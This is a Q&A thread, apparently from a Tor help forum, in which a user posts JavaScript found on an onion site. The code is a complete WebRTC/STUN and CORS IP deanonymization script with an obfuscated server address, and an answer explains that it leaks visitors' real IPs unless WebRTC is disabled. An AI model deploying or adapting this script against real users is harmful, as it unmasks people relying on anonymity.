1

I found this on a deepweb link. It looks like a bunch of random code, doesn't seem like it could do anything.. 7f7t73zmv3py5lfq.onion

function log(msg) {
document.getElementsByTagName("pre")[0].textContent += "\n" + msg;
}

function getIPs(callback){
var ip_dups = {};

//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
if(!RTCPeerConnection) {
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
var win = iframe.contentWindow;
window.RTCPeerConnection = win.RTCPeerConnection;
window.mozRTCPeerConnection = win.mozRTCPeerConnection;
window.webkitRTCPeerConnection = win.webkitRTCPeerConnection;
RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
}
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};

var servers = undefined;

if(window.webkitRTCPeerConnection)
servers = {iceServers: [{urls: "\x73\x74\x75\x6e\x3a\x73\x74\x75\x6e\x2e\x73\x65\x72\x76\x69\x63\x65\x73\x2e\x6d\x6f\x7a\x69\x6c\x6c\x61\x2e\x63\x6f\x6d"}]};

//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);

//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];

//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);

ip_dups[ip_addr] = true;
}
};

//create a bogus data channel
pc.createDataChannel("");

//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
log("[*] triggering stun deanonymization...");
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
}

(function() {
var memory = localStorage.getItem("x");
var ips = memory ? JSON.parse(memory) : [];

var learn = function(ip) {
if(ip && ips.indexOf(ip) < 0) {
ips.push(ip);
localStorage.setItem("x", JSON.stringify(ips));
log("[+] learned ip: " + ip);
}
};

if(ips.length) {
log("[*] querying memorized ips...");
ips.forEach(function(ip) {
log("[+] found ip: " + ip);
});
}

try {
(function(cb) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState == 4) {
cb(xhr.responseText.trim());
}
};
xhr.open("GET", "https://icanhazip.com/", true);
log("[*] triggering cors deanonymization...");
xhr.send(null);
})(learn);
} catch(e) {}

getIPs(learn);
})();
  • Your question seems to be more about JavaScript than Tor. I'd consider it off-topic here. StackOverflow.com might be a better fit for this question. – Jens Kubieziel Mar 11 '15 at 8:21
2

It looks like it attempts to learn your IP address via a WebRTC connection. That this is possible was reported a while ago, but it never affected TorBrowser users as WebRTC is disabled in TorBrowser. So, the js is not dangerous if you use Tor in the recommended way. If you don't, it is rather likely it'll leak your real IP address.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.